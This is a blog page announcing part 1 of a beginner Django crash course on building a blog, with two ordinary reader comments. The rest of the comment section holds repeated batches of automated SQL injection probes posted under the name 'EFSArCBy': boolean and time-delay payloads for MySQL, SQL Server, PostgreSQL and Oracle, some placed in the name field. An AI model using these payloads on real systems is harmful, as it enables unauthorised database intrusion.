Part 1 - Django Crash Course - Building a blog for beginners

In this django crash course, you will learn how to build a blog using Django. I'm going to start with very basic django, so even beginners should be able to follow along.

The course will be split into nine different parts and i will publish two parts per week the next month. I will base the blog on a template, so it will look very awesome when we're finished.

The blog will have all the functionality you expect from a blog like categories, comments, search and similar.

Comments

juk | Aug 15, 21 09:55

Hi Stein, really like your tutorials. I am wondering whether you have any plans for sharing the way to create "the course apps" like this? so users can subscribe their plan to join the course and track their progress. I think this is so interesting....

Thank you so much,

Stay safe and healthy!
EB


Stein Ove Helset | Aug 15, 21 02:55

Yes! I am working on it right now and will start to release a course for a learning management system very soon :-)

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

555

EFSArCBy | Jul 02, 26 11:14

-1 OR 2+846-846-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:14

-1 OR 2+836-836-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:14

-1' OR 2+340-340-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:14

-1' OR 2+37-37-1=0+0+0+1 or 'CKpmTSWv'='

EFSArCBy | Jul 02, 26 11:14

-1" OR 2+657-657-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:14

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:14

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:14

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:14

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:14

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:14

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:14

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:14

555yG5a9sNf'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:14

555-1 OR 538=(SELECT 538 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:14

555-1) OR 315=(SELECT 315 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:14

555-1)) OR 118=(SELECT 118 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:14

555gkz515ZW' OR 666=(SELECT 666 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:14

555LdgFYhcL') OR 985=(SELECT 985 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:14

555e8ADqR2I')) OR 89=(SELECT 89 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:14

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:14

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555'"

EFSArCBy | Jul 02, 26 11:15

@@T4vuG

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

-1 OR 2+775-775-1=0+0+0+1 -- | Jul 02, 26 11:15

555

-1 OR 2+31-31-1=0+0+0+1 | Jul 02, 26 11:15

555

-1' OR 2+556-556-1=0+0+0+1 -- | Jul 02, 26 11:15

555

-1' OR 2+530-530-1=0+0+0+1 or 'oBrGMxLK'=' | Jul 02, 26 11:15

555

-1" OR 2+328-328-1=0+0+0+1 -- | Jul 02, 26 11:15

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:15

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:15

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:15

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:15

555

EFSArCByZlBJIhkC'; waitfor delay '0:0:15' -- | Jul 02, 26 11:15

555

EFSArCByo5cBUYTO' OR 589=(SELECT 589 FROM PG_SLEEP(15))-- | Jul 02, 26 11:15

555

EFSArCByBGiWoFnP') OR 139=(SELECT 139 FROM PG_SLEEP(15))-- | Jul 02, 26 11:15

555

EFSArCByuoctPExr')) OR 138=(SELECT 138 FROM PG_SLEEP(15))-- | Jul 02, 26 11:15

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy'" | Jul 02, 26 11:15

555

@@NVupS | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 02, 26 11:15

555

EFSArCBy | Jul 20, 26 11:25

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

-1 OR 2+637-637-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:30

-1 OR 2+566-566-1=0+0+0+1

EFSArCBy | Jul 20, 26 11:30

-1' OR 2+628-628-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:30

-1' OR 2+805-805-1=0+0+0+1 or 'qjuN0Dn9'='

EFSArCBy | Jul 20, 26 11:30

-1" OR 2+90-90-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:30

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 11:30

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 11:30

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 11:30

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 11:30

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:30

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:30

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:30

555RmuvL9Pk'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:30

555-1 OR 702=(SELECT 702 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:30

555-1) OR 69=(SELECT 69 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:30

555-1)) OR 506=(SELECT 506 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:30

555QEjPH1IE' OR 310=(SELECT 310 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:30

555K3pRviPh') OR 607=(SELECT 607 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:30

555yiumWZov')) OR 895=(SELECT 895 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:30

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 11:30

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555'"

EFSArCBy | Jul 20, 26 11:30

@@poifC

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

-1 OR 2+103-103-1=0+0+0+1 -- | Jul 20, 26 11:30

555

-1 OR 2+388-388-1=0+0+0+1 | Jul 20, 26 11:30

555

-1' OR 2+245-245-1=0+0+0+1 -- | Jul 20, 26 11:30

555

-1' OR 2+778-778-1=0+0+0+1 or 'hJ34LDRB'=' | Jul 20, 26 11:30

555

-1" OR 2+392-392-1=0+0+0+1 -- | Jul 20, 26 11:30

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 11:30

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 11:30

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 11:30

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 11:30

555

EFSArCBy55PpP13Z'; waitfor delay '0:0:15' -- | Jul 20, 26 11:30

555

EFSArCByq4HUu4cJ' OR 180=(SELECT 180 FROM PG_SLEEP(15))-- | Jul 20, 26 11:30

555

EFSArCByl4btRAZz') OR 138=(SELECT 138 FROM PG_SLEEP(15))-- | Jul 20, 26 11:30

555

EFSArCByAxUT9Ko7')) OR 229=(SELECT 229 FROM PG_SLEEP(15))-- | Jul 20, 26 11:30

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy'" | Jul 20, 26 11:30

555

@@ZLx7f | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 20, 26 11:30

555

EFSArCBy | Jul 23, 26 02:18

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

-1 OR 2+673-673-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:25

-1 OR 2+28-28-1=0+0+0+1

EFSArCBy | Jul 23, 26 02:25

-1' OR 2+830-830-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:25

-1' OR 2+175-175-1=0+0+0+1 or 'XZblDK7D'='

EFSArCBy | Jul 23, 26 02:25

-1" OR 2+535-535-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:25

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 02:25

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 02:25

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 02:25

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 02:25

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:25

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:25

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:25

555IexUfOMx'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:25

555-1 OR 978=(SELECT 978 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:25

555-1) OR 396=(SELECT 396 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:25

555-1)) OR 453=(SELECT 453 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:25

555f1uLShAm' OR 152=(SELECT 152 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:25

555hHTLnDdQ') OR 919=(SELECT 919 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:25

555ED3nBdQH')) OR 900=(SELECT 900 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:25

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 02:25

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555'"

EFSArCBy | Jul 23, 26 02:25

@@0lJ6v

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

-1 OR 2+886-886-1=0+0+0+1 -- | Jul 23, 26 02:25

555

-1 OR 2+235-235-1=0+0+0+1 | Jul 23, 26 02:25

555

-1' OR 2+496-496-1=0+0+0+1 -- | Jul 23, 26 02:25

555

-1' OR 2+950-950-1=0+0+0+1 or 'kBU4VUlP'=' | Jul 23, 26 02:25

555

-1" OR 2+952-952-1=0+0+0+1 -- | Jul 23, 26 02:25

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 02:25

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 02:25

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 02:25

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 02:25

555

EFSArCByjhHR3E5m'; waitfor delay '0:0:15' -- | Jul 23, 26 02:25

555

EFSArCBy3OWeWvKG' OR 780=(SELECT 780 FROM PG_SLEEP(15))-- | Jul 23, 26 02:25

555

EFSArCByoYvBeUah') OR 444=(SELECT 444 FROM PG_SLEEP(15))-- | Jul 23, 26 02:25

555

EFSArCByYFOoGitA')) OR 353=(SELECT 353 FROM PG_SLEEP(15))-- | Jul 23, 26 02:25

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy'" | Jul 23, 26 02:25

555

@@3cSPl | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

EFSArCBy | Jul 23, 26 02:25

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.